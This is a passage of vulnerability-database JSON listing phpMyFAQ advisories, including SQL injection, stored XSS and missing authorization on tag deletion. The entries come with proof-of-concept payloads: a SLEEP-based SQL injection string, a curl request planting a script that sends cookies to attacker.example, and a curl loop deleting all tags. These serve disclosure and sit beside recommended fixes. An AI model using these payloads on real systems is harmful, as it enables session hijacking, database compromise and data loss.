disabled outside test bootstrap.\n\n---\n*Found by [aisafe.io](https://aisafe.io)*",
            "references": [
                {
                    "reference_url": "https://github.com/thorsten/phpMyFAQ",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "7.5",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/thorsten/phpMyFAQ"
                },
                {
                    "reference_url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-99qv-g4x9-mgc3",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "7.5",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-99qv-g4x9-mgc3"
                },
                {
                    "reference_url": "https://github.com/advisories/GHSA-99qv-g4x9-mgc3",
                    "reference_id": "GHSA-99qv-g4x9-mgc3",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "HIGH",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/advisories/GHSA-99qv-g4x9-mgc3"
                }
            ],
            "fixed_packages": [
                {
                    "url": "http://public2.vulnerablecode.io/api/packages/114543?format=api",
                    "purl": "pkg:composer/phpmyfaq/phpmyfaq@4.1.2",
                    "is_vulnerable": true,
                    "affected_by_vulnerabilities": [
                        {
                            "vulnerability": "VCID-6xtn-52az-3bh1"
                        }
                    ],
                    "resource_url": "http://public2.vulnerablecode.io/packages/pkg:composer/phpmyfaq/phpmyfaq@4.1.2"
                }
            ],
            "aliases": [
                "GHSA-99qv-g4x9-mgc3"
            ],
            "risk_score": 4.0,
            "exploitability": "0.5",
            "weighted_severity": "8.0",
            "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-p8pd-8q9q-1kad"
        },
        {
            "url": "http://public2.vulnerablecode.io/api/vulnerabilities/95506?format=api",
            "vulnerability_id": "VCID-qqc4-rvtj-97h5",
            "summary": "phpMyFAQ has SQL Injection in CurrentUser::setTokenData through unescaped OAuth token fields\n## Summary\n\n`CurrentUser::setTokenData()` in `phpmyfaq/src/phpMyFAQ/User/CurrentUser.php` at lines 515-534 builds a SQL UPDATE statement with `sprintf` and interpolates OAuth token fields (`refresh_token`, `access_token`, `code_verifier`, and `json_encode($token['jwt'])`) without calling `$db->escape()`. Sibling methods `setAuthSource()` and `setRememberMe()` in the same file do call `$db->escape()` on user-controlled values, so the omission is local to this method. An attacker (Bob) whose Azure AD display name contains a single quote (for example `O'Brien`, or a deliberate SQL payload) breaks out of the string literal and injects arbitrary SQL against the phpMyFAQ database.\n\n## Details\n\n**Vulnerable code** (`phpmyfaq/src/phpMyFAQ/User/CurrentUser.php`, lines 513-534):\n\n```php\npublic function setTokenData(#[\\SensitiveParameter] array $token): bool\n{\n    $update = sprintf(\n        \"\n        UPDATE\n            %sfaquser\n        SET\n            refresh_token = '%s',\n            access_token = '%s',\n            code_verifier = '%s',\n            jwt = '%s'\n        WHERE\n            user_id = %d\",\n        Database::getTablePrefix(),\n        $token['refresh_token'],\n        $token['access_token'],\n        $token['code_verifier'],\n        json_encode($token['jwt'], JSON_THROW_ON_ERROR),\n        $this->getUserId(),\n    );\n\n    return (bool) $this->configuration->getDb()->query($update);\n}\n```\n\n`json_encode()` does NOT escape single quotes. A JWT claim such as `{\"preferred_username\": \"O'Malley\"}` produces `{\"preferred_username\":\"O'Malley\"}` after `json_encode`, which terminates the SQL string literal at the apostrophe.\n\n**Correct pattern in the same file** (`setAuthSource`, line 458-461):\n\n```php\n$update = sprintf(\n    \"UPDATE %sfaquser SET auth_source = '%s' WHERE user_id = %d\",\n    Database::getTablePrefix(),\n    $this->configuration->getDb()->escape($authSource),\n    $this->getUserId(),\n);\n```\n\n`setRememberMe()` (line 471-478) follows the same safe pattern with `$db->escape()`.\n\n**Reachability**: The phpMyFAQ Azure AD (Entra ID) OAuth flow calls `setTokenData()` after token exchange. The token response includes an `id_token` whose payload originates from the identity provider. An attacker registers a Microsoft account with a display name or custom claim containing SQL metacharacters. When that user logs into a phpMyFAQ instance with Azure AD auth enabled, the malicious claim flows into the UPDATE without sanitization.\n\n## Proof of Concept\n\nPrerequisites: phpMyFAQ instance with Azure AD / Entra ID authentication enabled.\n\n1. Bob registers an Azure AD account with display name `x]\",\"email\":\"x',(SELECT SLEEP(5)))-- -`.\n\n2. Bob initiates the OAuth login flow on the target phpMyFAQ.\n\n3. After authorization, the token endpoint returns a JWT with the crafted claim.\n\n4. phpMyFAQ calls `setTokenData()` with the unsanitized token array. The resulting SQL becomes:\n\n```sql\nUPDATE faquser\nSET\n    refresh_token = '<valid>',\n    access_token = '<valid>',\n    code_verifier = '<valid>',\n    jwt = '{\"preferred_username\":\"x',(SELECT SLEEP(5)))-- -\"}'\nWHERE\n    user_id = 42\n```\n\nThe single quote after `x` closes the `jwt` string literal. Everything after it executes as attacker-controlled SQL.\n\n5. To confirm time-based blind injection locally (requires modifying the OAuth token response in a proxy):\n\n```python\nimport requests\n\n# Simulates what happens when the crafted JWT claim reaches the DB\n# In production, this happens automatically through the OAuth flow\npayload = \"x'||(SELECT SLEEP(5))||'\"\n\n# The interpolated query will pause for 5 seconds, confirming injection\nprint(f\"Injected jwt value: {payload}\")\nprint(\"If the login takes 5+ seconds longer than normal, injection succeeded.\")\n```\n\n## Impact\n\nAn attacker who can authenticate via Azure AD with a crafted claim achieves arbitrary SQL execution on the phpMyFAQ database. This permits reading all FAQ data (including restricted entries), modifying or deleting content, and extracting password hashes and session tokens of all users including administrators.\n\n**CWE**: CWE-89 (SQL Injection)\n\n## Recommended Fix\n\nEscape all interpolated values using `$this->configuration->getDb()->escape()`, matching the pattern used by `setAuthSource()` and `setRememberMe()` in the same file:\n\n```php\npublic function setTokenData(#[\\SensitiveParameter] array $token): bool\n{\n    $db = $this->configuration->getDb();\n    $update = sprintf(\n        \"\n        UPDATE\n            %sfaquser\n        SET\n            refresh_token = '%s',\n            access_token = '%s',\n            code_verifier = '%s',\n            jwt = '%s'\n        WHERE\n            user_id = %d\",\n        Database::getTablePrefix(),\n        $db->escape($token['refresh_token']),\n        $db->escape($token['access_token']),\n        $db->escape($token['code_verifier']),\n        $db->escape(json_encode($token['jwt'], JSON_THROW_ON_ERROR)),\n        $this->getUserId(),\n    );\n\n    return (bool) $db->query($update);\n}\n```\n\n---\n*Found by [aisafe.io](https://aisafe.io)*",
            "references": [
                {
                    "reference_url": "https://github.com/thorsten/phpMyFAQ",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "7.5",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/thorsten/phpMyFAQ"
                },
                {
                    "reference_url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-pm8c-3qq3-72w7",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "7.5",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-pm8c-3qq3-72w7"
                },
                {
                    "reference_url": "https://github.com/advisories/GHSA-pm8c-3qq3-72w7",
                    "reference_id": "GHSA-pm8c-3qq3-72w7",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "HIGH",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/advisories/GHSA-pm8c-3qq3-72w7"
                }
            ],
            "fixed_packages": [
                {
                    "url": "http://public2.vulnerablecode.io/api/packages/114543?format=api",
                    "purl": "pkg:composer/phpmyfaq/phpmyfaq@4.1.2",
                    "is_vulnerable": true,
                    "affected_by_vulnerabilities": [
                        {
                            "vulnerability": "VCID-6xtn-52az-3bh1"
                        }
                    ],
                    "resource_url": "http://public2.vulnerablecode.io/packages/pkg:composer/phpmyfaq/phpmyfaq@4.1.2"
                }
            ],
            "aliases": [
                "GHSA-pm8c-3qq3-72w7"
            ],
            "risk_score": 4.0,
            "exploitability": "0.5",
            "weighted_severity": "8.0",
            "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-qqc4-rvtj-97h5"
        },
        {
            "url": "http://public2.vulnerablecode.io/api/vulnerabilities/95405?format=api",
            "vulnerability_id": "VCID-rtvb-fx4h-13h5",
            "summary": "phpMyFAQ has Stored XSS in FAQ Question/Answer via Encode-Decode Bypass of removeAttributes() Sanitization\n## Summary\n\nThe FAQ creation and update endpoints in phpMyFAQ apply `FILTER_SANITIZE_SPECIAL_CHARS` (which HTML-encodes input), then immediately call `html_entity_decode()` which reverses the encoding, followed by `Filter::removeAttributes()` which only strips HTML attributes — not tags. This allows `<script>`, `<iframe>`, `<object>`, and `<embed>` tags to be stored in the database and rendered unescaped via `{{ answer|raw }}` and `{{ question|raw }}` in the Twig template, causing JavaScript execution in every visitor's browser.\n\n## Details\n\n**Vulnerable code path (FAQ create — `FaqController.php`):**\n\nAt line 120, the answer content is filtered:\n```php\n$content = Filter::filterVar($data->answer, FILTER_SANITIZE_SPECIAL_CHARS);\n```\n\n`Filter::filterVar()` calls `filterSanitizeString()` (`Filter.php:135-144`) which applies `htmlspecialchars()`, converting `<script>` to `&lt;script&gt;`. The regex `/\\x00|<[^>]*>?/` then finds no literal angle brackets to strip.\n\nAt lines 150-154, the encoded content is decoded and passed to attribute-only sanitization:\n```php\n->setAnswer(Filter::removeAttributes(html_entity_decode(\n    (string) $content,\n    ENT_QUOTES | ENT_HTML5,\n    encoding: 'UTF-8',\n)))\n```\n\n`html_entity_decode()` converts `&lt;script&gt;` back to `<script>`, fully reversing the earlier sanitization. `Filter::removeAttributes()` (`Filter.php:150-196`) only matches and strips `attribute=value` patterns from a known list of HTML attributes (event handlers like `onclick`, `onerror`, etc.) but performs **no tag-level filtering**. A `<script>` tag with no attributes passes through completely unchanged.\n\nThe identical pattern exists in the update endpoint at lines 389-398.\n\n**Rendering sink (`faq.twig`):**\n\n```twig\n<h2 class=\"mb-4 border-bottom\">{{ question | raw }}</h2>\n<article class=\"pmf-faq-body pb-4 mb-4 border-bottom\">{{ answer|raw }}</article>\n```\n\nThe `|raw` filter disables Twig's auto-escaping, causing the stored `<script>` tag to execute in every visitor's browser.\n\nAdditional rendering sinks exist in `search.twig` (line 75, 77) where search results also render FAQ content with `|raw`.\n\n## PoC\n\n**Prerequisites:** Authenticated session with `FAQ_ADD` permission and a valid CSRF token.\n\n**Step 1: Create a malicious FAQ**\n```bash\ncurl -X POST 'https://target/admin/api/faq/create' \\\n  -H 'Cookie: PHPSESSID=<admin_session>' \\\n  -H 'Content-Type: application/json' \\\n  -d '{\n    \"data\": {\n      \"pmf-csrf-token\": \"<valid_csrf_token>\",\n      \"question\": \"Harmless FAQ Title\",\n      \"answer\": \"Helpful content<script>fetch(\\\"https://attacker.example/steal?c=\\\"+document.cookie)</script>\",\n      \"categories[]\": 1,\n      \"lang\": \"en\",\n      \"tags\": \"\",\n      \"active\": \"yes\",\n      \"sticky\": \"no\",\n      \"keywords\": \"test\",\n      \"author\": \"Admin\",\n      \"email\": \"admin@example.com\",\n      \"comment\": \"n\",\n      \"changed\": \"Initial\",\n      \"notes\": \"\",\n      \"serpTitle\": \"Harmless FAQ\",\n      \"serpDescription\": \"Test\",\n      \"openQuestionId\": 0,\n      \"notifyEmail\": \"\",\n      \"notifyUser\": \"\",\n      \"recordDateHandling\": \"updateDate\"\n    }\n  }'\n```\n\n**Expected response:** `200 OK` with the new FAQ ID.\n\n**Step 2: Verify XSS execution**\n\nNavigate to the public FAQ page (e.g., `https://target/content/1/{faqId}/en/harmless-faq-title.html`). The `<script>` tag in the answer body executes, sending the visitor's cookies to the attacker's server.\n\n## Impact\n\n- **Session hijacking:** An attacker with FAQ creation privileges can steal session cookies from any user (including administrators) who views the FAQ, enabling full account takeover.\n- **Phishing:** The injected script can modify page content to display fake login forms or redirect users to malicious sites.\n- **Worm propagation:** If the attacker captures an admin session, they can create additional malicious FAQs automatically, spreading the attack.\n- **Scope:** Every unauthenticated visitor who views the compromised FAQ is affected. The XSS also fires in search results via `search.twig`.\n\n## Recommended Fix\n\nReplace the encode→decode→removeAttributes chain with a proper HTML sanitizer that operates on the DOM level. Use a library like [HTML Purifier](http://htmlpurifier.org/) or Symfony's [HtmlSanitizer](https://symfony.com/doc/current/html_sanitizer.html) component.\n\n**Immediate fix — add tag-level filtering to `removeAttributes()`** (`Filter.php`):\n\n```php\npublic static function removeAttributes(string $html = ''): string\n{\n    // Strip dangerous HTML tags entirely\n    $dangerousTags = ['script', 'iframe', 'object', 'embed', 'applet', 'form', 'base', 'link', 'meta'];\n    foreach ($dangerousTags as $tag) {\n        $html = preg_replace('/<' . $tag . '\\b[^>]*>.*?<\\/' . $tag . '>/is', '', $html);\n        $html = preg_replace('/<' . $tag . '\\b[^>]*\\/?>/is', '', $html);\n    }\n\n    // Also sanitize javascript: URIs in href/src attributes\n    $html = preg_replace('/\\b(href|src)\\s*=\\s*[\"\\']?\\s*javascript:/i', '$1=\"', $html);\n\n    $keep = [\n        'href', 'src', 'title', 'alt', 'class', 'style', 'id',\n        'name', 'size', 'dir', 'rel', 'rev', 'target', 'width',\n        'height', 'controls',\n    ];\n    // ... rest of existing attribute removal logic\n```\n\n**Recommended long-term fix:** Replace custom sanitization with Symfony's HtmlSanitizer, which is already a project dependency ecosystem:\n\n```php\nuse Symfony\\Component\\HtmlSanitizer\\HtmlSanitizer;\nuse Symfony\\Component\\HtmlSanitizer\\HtmlSanitizerConfig;\n\n$config = (new HtmlSanitizerConfig())\n    ->allowSafeElements()\n    ->blockElement('script')\n    ->blockElement('iframe')\n    ->blockElement('object')\n    ->blockElement('embed');\n\n$sanitizer = new HtmlSanitizer($config);\n$cleanAnswer = $sanitizer->sanitize($rawAnswer);\n```",
            "references": [
                {
                    "reference_url": "https://github.com/thorsten/phpMyFAQ",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "5.4",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N"
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/thorsten/phpMyFAQ"
                },
                {
                    "reference_url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-f5p7-2c9q-8896",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "5.4",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N"
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-f5p7-2c9q-8896"
                },
                {
                    "reference_url": "https://github.com/advisories/GHSA-f5p7-2c9q-8896",
                    "reference_id": "GHSA-f5p7-2c9q-8896",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/advisories/GHSA-f5p7-2c9q-8896"
                }
            ],
            "fixed_packages": [
                {
                    "url": "http://public2.vulnerablecode.io/api/packages/114543?format=api",
                    "purl": "pkg:composer/phpmyfaq/phpmyfaq@4.1.2",
                    "is_vulnerable": true,
                    "affected_by_vulnerabilities": [
                        {
                            "vulnerability": "VCID-6xtn-52az-3bh1"
                        }
                    ],
                    "resource_url": "http://public2.vulnerablecode.io/packages/pkg:composer/phpmyfaq/phpmyfaq@4.1.2"
                }
            ],
            "aliases": [
                "GHSA-f5p7-2c9q-8896"
            ],
            "risk_score": 3.1,
            "exploitability": "0.5",
            "weighted_severity": "6.2",
            "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-rtvb-fx4h-13h5"
        },
        {
            "url": "http://public2.vulnerablecode.io/api/vulnerabilities/49826?format=api",
            "vulnerability_id": "VCID-ssn9-ur4w-q3g1",
            "summary": "phpMyFAQ: Public API endpoints expose emails and invisible questions\nSeveral public API endpoints return email addresses and non‑public records (e.g. open questions with isVisible=false).",
            "references": [
                {
                    "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-24422",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "0.00021",
                            "scoring_system": "epss",
                            "scoring_elements": "0.06138",
                            "published_at": "2026-06-08T12:55:00Z"
                        },
                        {
                            "value": "0.00021",
                            "scoring_system": "epss",
                            "scoring_elements": "0.06183",
                            "published_at": "2026-06-07T12:55:00Z"
                        },
                        {
                            "value": "0.00021",
                            "scoring_system": "epss",
                            "scoring_elements": "0.06187",
                            "published_at": "2026-06-06T12:55:00Z"
                        },
                        {
                            "value": "0.00021",
                            "scoring_system": "epss",
                            "scoring_elements": "0.06198",
                            "published_at": "2026-06-05T12:55:00Z"
                        }
                    ],
                    "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-24422"
                },
                {
                    "reference_url": "https://github.com/thorsten/phpMyFAQ",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "5.3",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N"
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/thorsten/phpMyFAQ"
                },
                {
                    "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24422",
                    "reference_id": "CVE-2026-24422",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "5.3",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N"
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24422"
                },
                {
                    "reference_url": "https://github.com/advisories/GHSA-j4rc-96xj-gvqc",
                    "reference_id": "GHSA-j4rc-96xj-gvqc",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/advisories/GHSA-j4rc-96xj-gvqc"
                },
                {
                    "reference_url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-j4rc-96xj-gvqc",
                    "reference_id": "GHSA-j4rc-96xj-gvqc",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "5.3",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N"
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        },
                        {
                            "value": "Track",
                            "scoring_system": "ssvc",
                            "scoring_elements": "SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2026-01-26T14:57:47Z/"
                        }
                    ],
                    "url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-j4rc-96xj-gvqc"
                }
            ],
            "fixed_packages": [
                {
                    "url": "http://public2.vulnerablecode.io/api/packages/73592?format=api",
                    "purl": "pkg:composer/phpmyfaq/phpmyfaq@4.0.17",
                    "is_vulnerable": false,
                    "affected_by_vulnerabilities": [],
                    "resource_url": "http://public2.vulnerablecode.io/packages/pkg:composer/phpmyfaq/phpmyfaq@4.0.17"
                },
                {
                    "url": "http://public2.vulnerablecode.io/api/packages/950446?format=api",
                    "purl": "pkg:composer/phpmyfaq/phpmyfaq@4.1.0-RC",
                    "is_vulnerable": true,
                    "affected_by_vulnerabilities": [
                        {
                            "vulnerability": "VCID-2w3p-tar6-8qgk"
                        },
                        {
                            "vulnerability": "VCID-522f-tfh9-juea"
                        },
                        {
                            "vulnerability": "VCID-7um9-fk42-wqbs"
                        },
                        {
                            "vulnerability": "VCID-g5vv-tya3-wkft"
                        },
                        {
                            "vulnerability": "VCID-ghg9-s21m-jqe6"
                        },
                        {
                            "vulnerability": "VCID-mgy2-jjae-4qds"
                        },
                        {
                            "vulnerability": "VCID-nbs3-9fx9-p7en"
                        },
                        {
                            "vulnerability": "VCID-nvb4-mht6-8kdn"
                        },
                        {
                            "vulnerability": "VCID-p8pd-8q9q-1kad"
                        },
                        {
                            "vulnerability": "VCID-qqc4-rvtj-97h5"
                        },
                        {
                            "vulnerability": "VCID-rtvb-fx4h-13h5"
                        },
                        {
                            "vulnerability": "VCID-t65b-87xm-cbaj"
                        },
                        {
                            "vulnerability": "VCID-xenm-bpfy-w3f9"
                        },
                        {
                            "vulnerability": "VCID-ytay-2436-eubu"
                        }
                    ],
                    "resource_url": "http://public2.vulnerablecode.io/packages/pkg:composer/phpmyfaq/phpmyfaq@4.1.0-RC"
                }
            ],
            "aliases": [
                "CVE-2026-24422",
                "GHSA-j4rc-96xj-gvqc"
            ],
            "risk_score": 3.1,
            "exploitability": "0.5",
            "weighted_severity": "6.2",
            "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-ssn9-ur4w-q3g1"
        },
        {
            "url": "http://public2.vulnerablecode.io/api/vulnerabilities/93763?format=api",
            "vulnerability_id": "VCID-t65b-87xm-cbaj",
            "summary": "phpMyFAQ's Missing Authorization on Tag Deletion Allows Any Authenticated User to Delete Tags\n## Summary\n\nThe `TagController::delete()` endpoint at `DELETE /admin/api/content/tags/{tagId}` only verifies that the user is logged in (`userIsAuthenticated()`), but does not check any permission. Any authenticated user — including regular non-admin frontend users — can delete any tag by ID. This contrasts with `TagController::update()` and `TagController::search()`, which both enforce the `FAQ_EDIT` permission.\n\n## Details\n\nIn `phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/TagController.php`, the `delete()` method (line 121-133) uses only `$this->userIsAuthenticated()`:\n\n```php\n#[Route(path: 'content/tags/{tagId}', name: 'admin.api.content.tags.id', methods: ['DELETE'])]\npublic function delete(Request $request): JsonResponse\n{\n    $this->userIsAuthenticated();  // Only checks isLoggedIn() — no permission check\n\n    $tagId = (int) Filter::filterVar($request->attributes->get('tagId'), FILTER_VALIDATE_INT);\n\n    if ($this->tags->delete($tagId)) {\n        return $this->json(['success' => Translation::get(key: 'ad_tag_delete_success')], Response::HTTP_OK);\n    }\n\n    return $this->json(['error' => Translation::get(key: 'ad_tag_delete_error')], Response::HTTP_BAD_REQUEST);\n}\n```\n\nCompare with `update()` (line 48-71) which properly enforces authorization:\n\n```php\npublic function update(Request $request): JsonResponse\n{\n    $this->userHasPermission(PermissionType::FAQ_EDIT);  // Proper permission check\n    // ... also verifies CSRF token ...\n}\n```\n\nThe `userIsAuthenticated()` method in `AbstractController` (line 258-263) only checks `$this->currentUser->isLoggedIn()`:\n\n```php\nprotected function userIsAuthenticated(): void\n{\n    if (!$this->currentUser->isLoggedIn()) {\n        throw new UnauthorizedHttpException(challenge: 'User is not authenticated.');\n    }\n}\n```\n\nThere is no admin-level middleware in the `Kernel` — it registers only RouterListener, LanguageListener, ControllerContainerListener, and exception listeners. The admin API entry point (`admin/api/index.php`) shares the same bootstrap and session as the frontend, meaning a frontend user's session cookie is valid for admin API requests.\n\nAdditionally, this endpoint lacks CSRF token verification (unlike `update()`), though the primary issue is the missing authorization since the attack vector is a logged-in user acting directly.\n\n## PoC\n\n```bash\n# Step 1: Register as a regular user on the phpMyFAQ frontend\n# (or use any existing non-admin authenticated session)\n\n# Step 2: As the authenticated non-admin user, delete tag with ID 1:\ncurl -X DELETE 'https://target.com/admin/api/content/tags/1' \\\n  -H 'Cookie: PHPSESSID=<regular_user_session>'\n\n# Expected: 401 or 403 (user lacks FAQ_EDIT permission)\n# Actual: 200 OK with {\"success\": \"...\"}\n\n# Step 3: Enumerate and delete all tags:\nfor i in $(seq 1 100); do\n  curl -s -X DELETE \"https://target.com/admin/api/content/tags/$i\" \\\n    -H 'Cookie: PHPSESSID=<regular_user_session>'\ndone\n```\n\n## Impact\n\nAny authenticated user (including regular frontend users who registered through the public registration form) can delete all tags in the phpMyFAQ instance. This results in:\n\n- **Data integrity loss:** Tags are permanently deleted from the database. All FAQ-to-tag associations are destroyed.\n- **Disruption of FAQ organization:** Tag-based navigation, filtering, and tag clouds become empty or broken.\n- **No recoverability without backup:** Deleted tags and their associations cannot be restored without a database backup.\n\nThe impact is limited to tags (not FAQ content itself), but in large installations with extensive tag taxonomies, this could significantly degrade usability.\n\n## Recommended Fix\n\nAdd the `FAQ_EDIT` permission check and CSRF token verification to `TagController::delete()`, consistent with `TagController::update()`:\n\n```php\n#[Route(path: 'content/tags/{tagId}', name: 'admin.api.content.tags.id', methods: ['DELETE'])]\npublic function delete(Request $request): JsonResponse\n{\n    $this->userHasPermission(PermissionType::FAQ_EDIT);\n\n    $tagId = (int) Filter::filterVar($request->attributes->get('tagId'), FILTER_VALIDATE_INT);\n\n    if ($this->tags->delete($tagId)) {\n        return $this->json(['success' => Translation::get(key: 'ad_tag_delete_success')], Response::HTTP_OK);\n    }\n\n    return $this->json(['error' => Translation::get(key: 'ad_tag_delete_error')], Response::HTTP_BAD_REQUEST);\n}\n```\n\nAt minimum, add `$this->userHasPermission(PermissionType::FAQ_EDIT)` to enforce the same authorization as the update and search endpoints. Consider also adding a dedicated `TAG_DELETE` permission type for more granular access control.",
            "references": [
                {
                    "reference_url": "https://github.com/thorsten/phpMyFAQ",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "5.4",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L"
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/thorsten/phpMyFAQ"
                },
                {
                    "reference_url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-7cx3-2qx2-3g6w",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "5.4",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L"
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        },
                        {
                            "value": "MODERATE",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-7cx3-2qx2-3g6w"
                },
                {
                    "reference_url": "https://github.com/advisories/GHSA-7cx3-2qx2-3g6w",
                    "reference_id": "GHSA-7cx3-2qx2-3g6w",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "MODERATE",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/advisories/GHSA-7cx3-2qx2-3g6w"
                }
            ],
            "fixed_packages": [
                {
                    "url": "http://public2.vulnerablecode.io/api/packages/114543?format=api",
                    "purl": "pkg:composer/phpmyfaq/phpmyfaq@4.1.2",
                    "is_vulnerable": true,
                    "affected_by_vulnerabilities": [
                        {
                            "vulnerability": "VCID-6xtn-52az-3bh1"
                        }
                    ],
                    "resource_url": "http://public2.vulnerablecode.io/packages/pkg:composer/phpmyfaq/phpmyfaq@4.1.2"
                }
            ],
            "aliases": [
                "GHSA-7cx3-2qx2-3g6w"
            ],
            "risk_score": 3.1,
            "exploitability": "0.5",
            "weighted_severity": "6.2",
            "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-t65b-87xm-cbaj"
        },
        {
            "url": "http://public2.vulnerablecode.io/api/vulnerabilities/48387?format=api",
            "vulnerability_id": "VCID-wdjb-zkn8-vugf",
            "summary": "phpMyFAQ has Authenticated SQL Injection in Configuration Update Functionality\nAn authenticated SQL injection vulnerability in the main configuration update functionality of phpMyFAQ (v4.0.13 and prior) allows a privileged user with 'Configuration Edit' permissions to execute arbitrary SQL commands. Successful exploitation can lead to a full compromise of the database, including reading, modifying, or deleting all data, as well as potential remote code execution depending on the database configuration.",
            "references": [
                {
                    "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2025-62519",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "0.00119",
                            "scoring_system": "epss",
